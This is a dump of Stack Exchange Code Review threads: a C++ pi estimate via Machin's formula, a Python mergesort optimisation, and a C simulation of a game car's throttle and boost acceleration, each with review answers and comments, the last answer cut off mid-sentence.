[ { "body": "<h1>Answers to your questions</h1>\n<blockquote>\n<p>Is my use of enable_if_t appropriate and idiomatic?</p>\n</blockquote>\n<p>Yes, it is appropriate, and I believe idiomatic for C++17 as well. In C++20 the idiomatic way would be to use concepts of course.</p>\n<blockquote>\n<p>Is the use of static_cast for one_over_5 and one_over_239 the &quot;best&quot; solution here? Neccesary, and appropriate?</p>\n</blockquote>\n<p>It's necessary to cast at least a few constants to ensure the expression has the right type. However, in this case I would use the constructor syntax instead, and only do it for the minimum number of constants necessary, to keep the expression concise and legible:</p>\n<pre><code>return (4 * arctan(T{1} / 5) - arctan(T{1} / 239)) * 4;\n</code></pre>\n<p>Also note that you don't need to specify <code>&lt;T&gt;</code> here, it can be automatically deduced, and since this is so short there is no need to declare temporary variables <code>one_over_5</code> and <code>one_over_239</code>.</p>\n<blockquote>\n<p>How about the use of decltype, ::epsilon and ::digits10?</p>\n</blockquote>\n<p>The use of <code>T::digits10</code> is fine here. However, using <code>T::epsilon()</code> is always very dangerous. It works here <em>only</em> because you are trying to calculate something close to <code>1</code>, or if you wanted to calculate the arctangent from a very small number you have the advantage that <span class=\"math-container\">\\$\\lim_{x\\to 0} \\arctan x = x\\$</span>. In general, if you want to calculate a value using some converging expansion and want to stop if further steps are no longer giving you any increase in precision, you can do that by checking if there is any change in the floating point value:</p>\n<pre><code>while (res + std::fabs(term) != res) {...}\n</code></pre>\n<p>Or perhaps using <code>std::nextafter()</code>, to keep in the spirit of <code>T::epsilon()</code>:</p>\n<pre><code>while (res + std::fabs(term) &gt; std::nextafter(res, res + 1)) {...}\n</code></pre>\n<p>Although for <code>std::nextafter()</code>, it might even be hard to come up with the correct second argument.</p>\n<p>Again, your method works fine in this case, it produces the same output as both methods above.</p>\n<blockquote>\n<p>Accuracy: How about sign =* -1 and den += 2.0 and ... = sign * ...? These are integer operations but use the floating point type.</p>\n</blockquote>\n<p>Currently those are floating point operations because the left hand side is a floating point type, and if the other side is an integer it would be promoted to the floating point type before the operation is performed. Note that you can replace all the constants in <code>arctan()</code> with integers and the result will still be correct.</p>\n<p>You could change the type of <code>sign</code> and <code>den</code> to be an integer type, but it is not necessary. Multiplying floating point <code>sign</code> by <code>-1</code> will not make it drift away from <code>1</code>/<code>-1</code> over time, and since integers up to <span class=\"math-container\">\\$2^{24}\\$</span> can be represented <a href=\"https://stackoverflow.com/questions/3793838/which-is-the-first-integer-that-an-ieee-754-float-is-incapable-of-representing-e\">exactly</a> by a <code>float</code>, you will not have any problems with <code>den</code> either, unless the loop would run for more than 8388607 iterations, which would mean you have bigger problems.</p>\n<blockquote>\n<p>My choice to force the user of pi() to specify a T?</p>\n</blockquote>\n<p>It forces the user to give the correct type, which might result in less errors and/or more optimal code. You could consider making it <code>double</code> by default:</p>\n<pre><code>template &lt;typename T = double, ...&gt;\nT pi() {...}\n</code></pre>\n<p>Note that C++20 introduces <code>std::pi_v&lt;&gt;</code> which also doesn't not have a default type.</p>\n<h1>Make the functions <code>constexpr</code></h1>\n<p>You can and should make the functions <code>constexpr</code>. Interestingly, the compiler would be free to calculate the results of <code>pi_float</code>, <code>pi_double</code> and <code>pi_long_double</code> at compile time regardless, however GCC and Clang don't without <code>constexpr</code>. With <code>constexpr</code>, GCC does calculate the result at compile time, but Clang still emits a lot of code.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T21:53:15.253", "Id": "499640", "Score": "0", "body": "Excellent as always, thank you. What I meant by \"These are integer operations\" was,:I perceived there is a tradeoff here:\n\nKeep them int and the *-1 and +=2 operations are then integer ops, which are both more accurate and possibly faster, but at the cost of a integer => FP conversion on each iteration? \n\nIn hindsight, integer for accuracy over speed is probably better?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T21:59:23.433", "Id": "499641", "Score": "0", "body": "Ah, instead of `T den, sign` have `int den, sign`? It shouldn't matter; `sign` will be always be precise, and `den` will only become imprecise after 4194304 iterations if `T = float`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:05:49.170", "Id": "499643", "Score": "0", "body": "Yes, `sign` (ie both 1, -1) are non-approximate in Base2 right? I was also more concerned about `den`\n\nHow did you figure this? \n\n`den` will only become imprecise after 4194304 iterations if `T = float` ??" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:08:22.943", "Id": "499644", "Score": "1", "body": "I updated the answer. It's after 8388607 iterations actually, integer values up to 16777216 can be represented exactlty by `float`, see [this question](https://stackoverflow.com/questions/3793838/which-is-the-first-integer-that-an-ieee-754-float-is-incapable-of-representing-e)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:18:58.707", "Id": "499645", "Score": "0", "body": "Good. I like the T(1) constructor - I prefer parens rather than {} in most cases - instead of those static_casts for this stuff. Much more readable and even clang-tidy is quiet as opposed to (T)1 -- \"Don't use C-style-casts\"" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:31:36.073", "Id": "499646", "Score": "0", "body": "I would argue a `static_assert` is much more relevant in this case. `enable_if` is primarily used to provide overloads for different type traits. Additionally, using a `static_assert` gives an opportunity for better error messages in case of incorrect template parameters." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T22:35:47.937", "Id": "499647", "Score": "0", "body": "@RIsh It has its pros and cons. I like the better error messages as well, however it has been pointed out to me that `enable_if` allows other templated code to check if there is a valid overload of `arctan`, whereas if you use `static_assert()` you can't do that." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T06:16:53.470", "Id": "499658", "Score": "1", "body": "for a plain `is_floating_point` condition, clang's error message is actually quite good on an `enable_if`: candidate template ignored: requirement\n 'std::is_floating_point_v<int>' was not satisfied [with T = int]\nconstexpr T arctan(T tan) {" } ], "meta_data": { "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T21:44:37.967", "Id": "253367", "ParentId": "253350", "Score": "2" } }, { "body": "<p>Updated code, incorporating @G. Sliepen's feedback.</p>\n<p>Also adding a second <code>arctan()</code> which uses <a href=\"https://en.wikipedia.org/wiki/Inverse_trigonometric_functions#Infinite_series\" rel=\"nofollow noreferrer\">Euler's series</a> - old one renamed to arctan_taylor()</p>\n<p>The new series converges faster and does not require special casing for <code>abs(tan) &gt; 1</code></p>\n<pre><code>#include &lt;cmath&gt;\n#include &lt;iomanip&gt;\n#include &lt;iostream&gt;\n#include &lt;type_traits&gt;\n\ntemplate &lt;typename T, std::enable_if_t&lt;std::is_floating_point_v&lt;T&gt;, bool&gt; = true&gt;\nconstexpr T arctan_taylor(T tan) {\n if (std::fabs(tan) &gt; 1) return (tan &lt; 0.0 ? -M_PI_2f64 : M_PI_2f64) - arctan_taylor(1 / tan);\n T num = tan;\n T den = 1;\n T sign = 1;\n T term = num;\n T res = num;\n while (res + std::fabs(term) != res) {\n num *= tan * tan;\n den += 2; // will remain precise for T = float up to 2^(mantissa bits + 1) + 1 = 16,777,217\n sign = -sign;\n term = sign * num / den;\n res += term;\n }\n return res;\n}\n\ntemplate &lt;typename T, std::enable_if_t&lt;std::is_floating_point_v&lt;T&gt;, bool&gt; = true&gt;\nconstexpr T arctan(T tan) {\n T sum = 0;\n T prod = 1;\n for (int n = 0; sum + std::fabs(prod) != sum; ++n) {\n prod = 1;\n for (int k = 1; k &lt;= n; ++k) \n prod *= 2 * k * tan * tan / ((2 * k + 1) * (1 + tan * tan)); // Eulers Series\n sum += prod;\n }\n return tan / (1 + tan * tan) * sum;\n}\n\ntemplate &lt;typename T, std::enable_if_t&lt;std::is_floating_point_v&lt;T&gt;, bool&gt; = true&gt;\nconstexpr T pi() {\n return (4 * arctan(T(1) / 5) - arctan(T(1) / 239)) * 4;\n}\n\nint main() {\n auto pi_float = pi&lt;float&gt;();\n auto pi_double = pi&lt;double&gt;();\n auto pi_long_double = pi&lt;long double&gt;();\n std::cout &lt;&lt; std::setprecision(std::numeric_limits&lt;decltype(pi_float)&gt;::digits10) &lt;&lt; pi_float\n &lt;&lt; '\\n'\n &lt;&lt; std::setprecision(std::numeric_limits&lt;decltype(pi_double)&gt;::digits10) &lt;&lt; pi_double\n &lt;&lt; '\\n'\n &lt;&lt; std::setprecision(std::numeric_limits&lt;decltype(pi_long_double)&gt;::digits10)\n &lt;&lt; pi_long_double &lt;&lt; '\\n'\n &lt;&lt; M_PI &lt;&lt; '\\n';\n\n return EXIT_SUCCESS;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T16:23:31.457", "Id": "499827", "Score": "0", "body": "Ah, a rare case where [`std::copysign()`](https://en.cppreference.com/w/cpp/numeric/math/copysign) can be used: `if (std::fabs(tan) > 1) return std::copysign(M_PI_2f64, tan) - arctan_taylor(1 / tan);`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T16:27:54.383", "Id": "499828", "Score": "0", "body": "Looks like the inner `for`-loop in the version using the Euler series is not necessary? Just remove `prod = 1` and replace the loop with `prod *= 2 * (n + 1) * tan * tan / ((2 * n + 3) * (1 + tan * tan));`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T21:43:13.390", "Id": "499839", "Score": "0", "body": "I was directly implementing the formula from linked WP page. Not sure what you mean. The inner loop may run for more than one iteration for each n? The prod is reset to 1 for each inner loop (ie the \"pi in the formula)? Maybe I missed something, I haven't looked at it very hard. But I think it's meant to be a \"sum of multi-term-products\".\n\nThe inner loop doesn't run at all for n = 0 . once for n=1, twice for n=2 etc It gives the right answer. I haven't debugged, traced or optimised it other than that. It's already very fast." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T21:50:51.917", "Id": "499840", "Score": "0", "body": "Love the `std::copysign()` ! That's a new one to me! The new Euler algo actually also benefits from the same `if fabs(tan) > 1`. It will converge for bigger values, but it's much faster to use the `1/tan` property." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T23:11:07.140", "Id": "253370", "ParentId": "253350", "Score": "0" } } ]
{ "AcceptedAnswerId": "253367", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T16:47:12.573", "Id": "253350", "Score": "2", "Tags": [ "c++", "mathematics", "sfinae" ], "Title": "Estimate using Machin's formula" }
253350
<p>This is my version of mergesort.</p> <pre><code># mergesort def merge(items, low, mid, high): left = [items[i] for i in range(low, mid + 1)] right = [items[i] for i in range(mid + 1, high + 1)] left.append(4444444444444444444444) right.append(4444444444444444444444) i = 0 j = 0 for k in range(low, high + 1): if left[i] &lt; right[j]: items[k] = left[i] i += 1 else: items[k] = right[j] j += 1 def mergesort(items,low, high): mid = int(low + (high - low) / 2) if low &lt; high: mergesort(items, low, mid) mergesort(items, mid + 1, high) merge(items, low, mid, high) if __name__ == &quot;__main__&quot;: a = [6, 5, 4, 3, 2, 1] print(mergesort(a, 0, len(a) - 1)) </code></pre> <p>I ran a test with input size of 1000000 in reverse order with a step of 1 i.e <code>range(int(1e6), 1, -1)</code> or <code>range(1000000, 1, -1)</code> and got the following results</p> <pre><code>6999991 function calls (4999995 primitive calls) in 9.925 seconds Ordered by: internal time List reduced from 9 to 8 due to restriction &lt;8&gt; ncalls tottime percall cumtime percall filename:lineno(function) 999998 6.446 0.000 8.190 0.000 test.py:3(merge) 1999997/1 1.735 0.000 9.925 9.925 test.py:19(mergesort) 999998 0.821 0.000 0.821 0.000 test.py:4(&lt;listcomp&gt;) 999998 0.740 0.000 0.740 0.000 test.py:5(&lt;listcomp&gt;) 1999996 0.183 0.000 0.183 0.000 {method 'append' of 'list' objects} 1 0.000 0.000 9.925 9.925 {built-in method builtins.exec} 1 0.000 0.000 9.925 9.925 &lt;string&gt;:1(&lt;module&gt;) 1 0.000 0.000 0.000 0.000 {built-in method builtins.len} </code></pre> <p>I would love to optimize the code and if possible, eliminate the copies.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:02:25.533", "Id": "499623", "Score": "0", "body": "Python3. make sure to convert to `int` that is `range(int(ie6), 1, -1)` or rather use `range(1000000, 1 -1)`" } ]
[ { "body": "<p>These lines:</p>\n<pre><code> left = [items[i] for i in range(low, mid + 1)]\n right = [items[i] for i in range(mid + 1, high + 1)]\n</code></pre>\n<p>Can be replaced with the built-in range operations on lists:</p>\n<pre><code> left = items[low : mid + 1]\n right = items[mid + 1 : high + 1]\n</code></pre>\n<p>That should give you a slight speed-up on its own.</p>\n<p>There isn't a great way to eliminate the copies without doing a lot of shifting, which would eliminate any speed benefits.</p>\n<p>You might be able to squeeze a little extra performance out by altering your base case to explicitly handle sub-arrays of size 2, so you don't have to send single-element ranges through the whole merge process when you could instead just check if they are in order, and, if not, swap them.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:08:46.580", "Id": "253357", "ParentId": "253352", "Score": "2" } }, { "body": "<p>From an optimization perspective, you can't totally avoid copying for mergesort (i.e. modify the list fully in place). What you can do, which should help, is generate one new list once using generators, thus avoiding constant allocations:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def mergesort_rec(items, low, high, is_top=True):\n if low + 1 == high:\n yield items[low] # Base case\n yield None # Avoid catching StopIteration\n return\n mid = int((low + high) / 2) # Equivalent to your code but more common definition of avg\n gen_left = mergesort_rec(items, low, mid, False)\n gen_right = mergesort_rec(items, mid, high, False)\n next_left = next(gen_left)\n next_right = next(gen_right)\n while True:\n if next_left is not None and next_right is not None:\n if next_left &lt; next_right:\n yield next_left\n next_left = next(gen_left)\n else:\n yield next_right\n next_right = next(gen_right)\n elif next_right is not None:\n yield next_right\n next_right = next(gen_right)\n elif next_left is not None:\n yield next_left\n next_left = next(gen_left)\n else:\n break\n # You could avoid this with excepting StopIteration but I find this easier\n if not is_top:\n yield None\n</code></pre>\n<p>You can wrap this in a more user-friendly form factor and return it as a new list or modify in-place if that is needed:</p>\n<pre class=\"lang-py prettyprint-override\"><code>def mergesorted(items):\n return [x for x in mergesort_rec(items, 0, len(items))]\n\ndef mergesort(items):\n items[:] = [x for x in mergesort_rec(items, 0, len(items))]\n</code></pre>\n<p>For your approach &amp; code, I would suggest the following:</p>\n<ol>\n<li><p>Don't use magic numbers (<code>4444...</code>). With python you could use a sentinel value such as <code>None</code>, or better yet, check your bounds explicitly.</p>\n</li>\n<li><p>Give the entry-point default values so the user isn't expected to give you the bounds, which could easily be off by one:</p>\n</li>\n</ol>\n<pre class=\"lang-py prettyprint-override\"><code>def mergesort(items, low=0, high=None):\n if high is None:\n high = len(items) - 1\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:24:01.600", "Id": "253359", "ParentId": "253352", "Score": "2" } }, { "body": "<p>Some comments:</p>\n<ul>\n<li>Include a convenience function that takes only a list, i.e., where you don't need to provide the bounds.</li>\n<li>Don't fight Python's inclusive-start exclusive-stop paradigm and naming.</li>\n<li>Write docstrings to explain what the parameters mean, <em>especially</em> if you use unusual stuff.</li>\n<li>Don't compute <code>mid</code> when you don't have to anyway.</li>\n<li>Compute <code>mid</code> with integer division and from the sum (Python's ints don't overflow).</li>\n<li>Don't reimplement slicing.</li>\n<li>You can easily do it with copying out just the left part.</li>\n<li>For benchmarking, I'd suggest to randomly shuffle the list instead of using a reverse-sorted list. I suspect you did the latter because you thought it's a worst case, but for example for Python's built-in sorting algorithm Timsort, it's a &quot;best case&quot;, taking only linear time. And other algorithms might also be unrealistically affected (either faster or slower than for the typical case).</li>\n<li>Don't write an unstable merge sort, that's a sin :-P</li>\n<li>4444444444444444444444 is unsafe. What if the list has items larger than that?</li>\n</ul>\n<p>Here's my version of it, it's about three times as fast as yours both on reverse-sorted and on shuffled lists (tested with 100,000 items).</p>\n<pre><code>def merge(items, start, mid, stop):\n &quot;&quot;&quot;Merge sorted items[start:mid] and items[mid:stop] into items[start:stop].&quot;&quot;&quot;\n for left in items[start:mid]:\n while mid &lt; stop and items[mid] &lt; left:\n items[start] = items[mid]\n start += 1\n mid += 1\n items[start] = left\n start += 1\n\ndef mergesort_slice(items, start, stop):\n &quot;&quot;&quot;Sort items[start:stop].&quot;&quot;&quot;\n if stop - start &gt; 1:\n mid = (start + stop) // 2\n mergesort_slice(items, start, mid)\n mergesort_slice(items, mid, stop)\n merge(items, start, mid, stop)\n\ndef mergesort(items):\n mergesort_slice(items, 0, len(items))\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T13:09:43.837", "Id": "499667", "Score": "0", "body": "\"Python's ints don't overflow\" what do they do instead? Extend to bigger size?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T13:34:10.677", "Id": "499669", "Score": "2", "body": "@valsaysReinstateMonica: yes, they're objects that are compact-ish for values <= 2^30, and otherwise grow to as many BigInt chunks as needed to represent the value. [Why do ints require three times as much memory in Python?](https://stackoverflow.com/q/23016610) / [Why is 2 \\* x \\* x faster than 2 \\* ( x \\* x ) in Python 3.x, for integers?](https://stackoverflow.com/q/53570864). I think Python2 had a fixed-width integer type, but Python3 doesn't." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T20:19:29.107", "Id": "253364", "ParentId": "253352", "Score": "5" } } ]
{ "AcceptedAnswerId": "253364", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T18:01:03.507", "Id": "253352", "Score": "2", "Tags": [ "python", "performance", "python-3.x", "reinventing-the-wheel", "mergesort" ], "Title": "A Merge Sort implementation for efficiency" }
253352
<p>This is a personal hobby project, I'm in control of all decisions made regarding my bot, but I can't change anything about the physics of the game (offline-only, and it's approved by the game devs - so don't worry!) I have a car, and the car is facing its target. All it needs to do is drive forwards, however, this is much more complicated than just a constant forwards acceleration.</p> <p>The problem:</p> <p>The car can only gain acceleration via the throttle when it's on the ground (kind of, more on that in a bit) but it also has A FREAKIN' ROCKET on the back, which propels it forwards at a constant rate in the air and on the ground. The rocket needs fuel, which goes from 0-100 (easiest to think of this as a percent - however, if the car has more than 100% rocket fuel, then due to the systems in place this signifies that the car has unlimited rocket fuel). The throttle acceleration is dependant on the speed of the car. The faster it's going, the less acceleration pressing the throttle provides, until the acceleration reaches 0.</p> <p>At a certain point, the car jumps and can no longer accelerate using the throttle, but due to some magic, the car actually gets a bit acceleration (idk it's one of those bugs turned feature and it needs to be accounted for). The rocket (if there's rocket fuel) can also speed up the car in the air, and by a lot. I don't care about the z axis, as that's handled elsewhere.</p> <p>With this knowledge at hand, I want to figure out ahead of time if the car can travel a certain distance in a certain time with a certain jump time. Initially, the car may or may not be at rest, it may be traveling forwards (positive velocity) or backwards (negative velocity), and the car may or may not have rocket fuel. The jump time may also be 0, which signifies that there is no jump for the car to make.</p> <p>Program includes:</p> <pre class="lang-c prettyprint-override"><code>#include &lt;math.h&gt; </code></pre> <p>In my program, rocket fuel is referred to as 'boost'. Here are my constants - I've added comments to clear some things up:</p> <pre class="lang-c prettyprint-override"><code>static const double simulation_dt = 1. / 20.; // Delta time to run the simulation runs at static const double physics_dt = 1. / 120.; // Delta time that the actual game runs at static const double boost_consumption = 100. * (1. / 3.); static const double max_boost = 100; // all distance measurements are depicted in centimeters static const double aerial_throttle_accel = 100. * (2. / 3.); // due to some magic, the car actually gets a bit acceleration - don't question it static const double brake_force = 3500; // when trying to acceleration in the opposite direction that you're traveling, ur speed decreases by this amount every second static const double min_simulation_distance = 25; // If we get closer to the target than this, we consider the simulation done static const double max_speed = 2300; static const double max_speed_no_boost = 1410; // the relationship between velocity and throttle acceleration is mostly linear static const double start_throttle_accel_m = -36. / 35.; static const double start_throttle_accel_b = 1600; static const double end_throttle_accel_m = -16; static const double end_throttle_accel_b = 160; </code></pre> <p>Converting velocity to the acceleration given by the throttle:</p> <pre class="lang-c prettyprint-override"><code>double throttle_acceleration(double *car_velocity_x) { double x = fabs(*car_velocity_x); if (x &gt;= max_speed_no_boost) return 0; // use y = mx + b to find the throttle acceleration if (x &lt; 1400) return start_throttle_accel_m * x + start_throttle_accel_b; x -= 1400; // there's a very sharp dropoff here that brings the acceleration to 0 by the time the velocity is 1410 return end_throttle_accel_m * x + end_throttle_accel_b; } </code></pre> <p>Here's my code for solving this problem, which is horribly inefficient but it does get the job done... it works by doing a sort of simulation, processing changes tick-by-tick with no optimization.</p> <pre class="lang-c prettyprint-override"><code>_Bool can_reach_target_forwards(double *max_time, double *jump_time, double *boost_accel, double *distance_remaining, double *car_speed, unsigned char *car_boost, double *max_speed_reduction) { double v = *car_speed; double t = 0; double b = *car_boost; double d = *distance_remaining; double ba_dt = *boost_accel * simulation_dt; double ms = max_speed - ceil(*max_speed_reduction); double ms_ba_dt = ms - ba_dt; double bc_dt = boost_consumption * simulation_dt; double bk_dt = brake_force * simulation_dt; while (d &gt; min_simulation_distance &amp;&amp; t &lt;= *max_time &amp;&amp; (v &lt;= 0 || d / v &gt; *jump_time)) { // if we're going backwards, then apply the braking acceleration... otherwise, apply the throttle acceleration v += (v &lt; 0) ? bk_dt : throttle_acceleration(&amp;v) * simulation_dt; // if we have boost &amp; we're at less than max speed if (b &gt; bc_dt &amp;&amp; v &lt; ms_ba_dt) { // apply velocity from boost and reduce boost amount accordingly v += ba_dt; if (b &lt;= max_boost) b -= bc_dt; } // subtract the proper amount of distance and add the simulation delta time to the total time d -= v * simulation_dt; t += simulation_dt; } double th_dt = aerial_throttle_accel * simulation_dt; double ms_th_dt = ms - th_dt; // this is basically the same as above, but it's for after the car jumps (if it does at all) while (d &gt; min_simulation_distance &amp;&amp; t &lt;= *max_time) { // yes, this IS max_speed, NOT max_speed_no_boost! if (v &lt;= ms_th_dt) v += th_dt; if (b &gt; bc_dt &amp;&amp; v &lt; ms_ba_dt) { v += ba_dt; if (b &lt;= max_boost) b -= bc_dt; } d -= v * simulation_dt; t += simulation_dt; } return d &lt;= min_simulation_distance; } </code></pre> <p>I'm not very familiar with Calculus (I haven't gotten to that in school and it seems hard -_-), but I'm still wondering if there's anything that I can do that will speed up the function. Currently, it's speed is <em>acceptable</em>, but I would rather develop my programming/math skills and have it be <em>exceptional</em>. My bot runs at 120tps, so this function, along with a LOT of other things, needs to run in 8 milliseconds or (preferably much) less. Above all else the true purpose of this post is I want to learn where I need to improve. I'm relatively new to C (only a few months of experience, and I'm self-taught) and I would also love feedback on any C standards or C programming conventions that I'm violating. If there's any tips or tricks that would make using C easier, I'm all ears! Also, no, I'm not switching away from plain C (yet, at least.)</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:41:41.817", "Id": "499627", "Score": "0", "body": "Does gravity remain constant, and is the constant 9.8m/sec^2? The problem you are describing was solved during WW2 by the navy for ballistics calculations. You shouldn't need a simulation." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T19:48:39.803", "Id": "499628", "Score": "0", "body": "I don't need to account for height. Just forwards speed. But yes, gravity does remain constant - but the car isn't airborne until the end. Also, I should mention that in the game there's no air resistance. With modifications, something like that could work. Idk how to do them tho" } ]
[ { "body": "<p>What's this?</p>\n<pre><code>_Bool\n</code></pre>\n<p>Probably you should be using <code>&lt;stdbool.h&gt;</code>.</p>\n<p>Why is this -</p>\n<pre><code>double *car_velocity_x\n</code></pre>\n<p>a pointer? You should be able to pass by value here. The same applies to <code>can_reach_target_forwards</code>.</p>\n<p>1400 should be added to your named constants.</p>\n<pre><code>// this is basically the same as above\n</code></pre>\n<p>should tell you that you should be factoring out common code into another function.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:50:01.000", "Id": "499781", "Score": "0", "body": "`stdbool.h` only existed after C99, and before that you just used `_Bool`, and 0 for `false` and 1 for `true`. It's down to personal preference, for me." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T20:50:15.663", "Id": "499782", "Score": "0", "body": "I use pointers because copying the values isn't needed, and I've heard that you should use pointers where possible because it's faster. Is this incorrect?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-14T17:26:41.533", "Id": "499832", "Score": "2", "body": "@VirxEC Yes, the rule \"always use pointers\" is incorrect. Pointers are just normal values as well, so you need to analyze which one is faster, the pointer value or the actual value. Typical sizes of pointers are 16 bit, 32 bit, 64 bit, depending on the platform. The size of a `double` is typically 64 bit. But if you pass the argument by pointer, that pointer must be _dereferenced_, which costs another memory access and 1 or 2 CPU instructions. The rule \"pass pointers instead of values\" typically starts to make sense for data structures that have the size of 3 or more pointers." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T16:23:15.220", "Id": "253389", "ParentId": "253356", "Score": "0" } }, { "body": "<p>Here are some things that may help you improve your program.</p>\n<h2>Eliminate unused variables</h2>\n<p>Unused variables are a sign of poor quality code, and you don't want to write poor quality code. In this code, <code>physics_dt</code> is unused. Your compiler is smart enough to tell you about this if you ask it nicely.</p>\n<h2>Pass by value rather than by pointer</h2>\n<p>This code has a peculiar quirk that it uses pointers for every passed value. Unless you're planning on altering the value, <a href=\"https://en.cppreference.com/w/cpp/named_req/PODType\" rel=\"nofollow noreferrer\">plain old data</a> like this really should just passed by value rather than by pointer, so instead of this:</p>\n<pre><code>double throttle_acceleration(double *car_velocity_x)\n{\n double x = fabs(*car_velocity_x);\n</code></pre>\n<p>Write this:</p>\n<pre><code>double throttle_acceleration(double car_velocity_x)\n{\n double x = fabs(car_velocity_x);\n</code></pre>\n<p>The same is true for all of the other arguments.</p>\n<h2>Provide complete code to reviewers</h2>\n<p>This is not so much a change to the code as a change in how you present it to other people. Without the full context of the code and an example of how to use it, it takes more effort for other people to understand your code. This affects not only code reviews, but also maintenance of the code in the future, by you or by others. One good way to address that is by the use of comments. Another good technique is to include test code showing how your code is intended to be used.</p>\n<h2>Consider using structures</h2>\n<p>There are a great many variables and constants in this program. The constants are generally named well, which is good. However, I think I'd approach it a bit differently. For the <code>throttle_acceleration</code>, I'd make that simply <code>acceleration</code> and write it like this:</p>\n<pre><code>double acceleration(double car_velocity_x)\n{\n // the relationship between velocity and throttle acceleration \n // is expressed as three piecewise linear equations\n static const struct {\n double min_x; // minimum x value for this equation\n double m; // slope of line\n double b; // intercept of line\n } equation[3] = {\n { 1410, 0 , 0 },\n { 1400, -16 , 22560 },\n { 0, -36.0 / 35.0, 1600 },\n };\n for (int i = 0; i &lt; 3; ++i) {\n if (car_velocity_x &gt; equation[i].min_x) {\n return car_velocity_x * equation[i].m + equation[i].b;\n }\n }\n // if the velocity is negative, apply the brakes\n return brake_force;\n}\n</code></pre>\n<p>This also has the effect of simplifying the code that uses it:</p>\n<pre><code>v += acceleration(v) * simulation_dt;\n</code></pre>\n<h2>Use <code>const</code> where practical</h2>\n<p>Many of the calculated values in <code>can_reach_target_forwards</code> are constants. It may help the compiler create better code if you declare them as <code>const</code>. Even if it doesn't it makes the code more understandable to human readers.</p>\n<h2>Use a real <code>bool</code></h2>\n<p>If you <code>#include &lt;stdbool.h&gt;</code> you can use a real <code>bool</code> as well as the constants <code>true</code> and <code>false</code> which can make your code a bit clearer.</p>\n<h2>Don't repeat yourself</h2>\n<p>As the comments in the code note, the loops before and after the jump are nearly identical. I think it would make sense to combine them. Here's one way to do that:</p>\n<pre><code>bool on_ground = true;\nfor (double t = 0; \n d &gt; min_simulation_distance &amp;&amp; t &lt;= max_time; \n t += simulation_dt) \n{\n if (on_ground &amp;= (v &lt;= 0 || d/v &gt; jump_time)) {\n v += acceleration(v) * simulation_dt;\n } else {\n // no longer on the ground\n if (v &lt;= ms_th_dt)\n v += th_dt;\n }\n // if we have boost &amp; we're at less than max speed\n if (b &gt; bc_dt &amp;&amp; v &lt; ms_ba_dt) {\n // apply boost\n v += ba_dt;\n if (b &lt;= max_boost)\n b -= bc_dt;\n }\n // subtract the proper amount of distance \n d -= v * simulation_dt;\n}\n</code></pre>\n<p>Note that I have also converted <code>while</code> into <code>for</code> to make it clear which variable is being incremented.</p>\n<h2>Consider a mathematical solution</h2>\n<p>As you suspected, there is a more mathematical way to approach this problem. First, let's slightly reframe the problem as the question &quot;how much time would it take to get to the target?&quot; We can designate that time as <span class=\"math-container\">\\$t_{f}\\$</span> where the <span class=\"math-container\">\\$f\\$</span> signifies final. First, let's consider only deceleration from braking and acceleration from the throttle and ignore boost and jump time for the moment.</p>\n<p><span class=\"math-container\">\\$a(v) = \\left\\{\n\\begin{array}{ll}\n 3500 &amp; v &lt; 0 \\\\\n -\\frac{36}{35}v + 1600 &amp; 0\\leq v &lt; 1400 \\\\\n -16v +22560 &amp; 1400 \\leq v &lt; 1410 \\\\\n 0 &amp; 1410 \\leq v \\\\\n\\end{array} \n\\right. \\$</span></p>\n<p>Note that this is not exactly how the code is currently implemented, because at zero velocity, the current implementation actually gets acceleration due to braking which makes no physical sense. I've taken the liberty of altering this, but there is likely little noticable difference.</p>\n<p>Because only one of these is used at a time, we can break it into steps. First, consider a start with a negative velocity so that we're moving away from the target. In this phase we're just braking, so at any time <span class=\"math-container\">\\$t\\$</span> during this phase, the velocity is:</p>\n<p><span class=\"math-container\">$$ v(t) = v_0 + 3500t $$</span></p>\n<p>It's easy to figure out how long it will take to get to zero velocity using algebra.</p>\n<p><span class=\"math-container\">$$ 0 = v_0 + 3500t $$</span>\n<span class=\"math-container\">$$ 3500t = -v_0 $$</span>\n<span class=\"math-container\">$$ t = \\frac{-v_0}{3500} $$</span></p>\n<p>Since we've been moving away from the target, how far 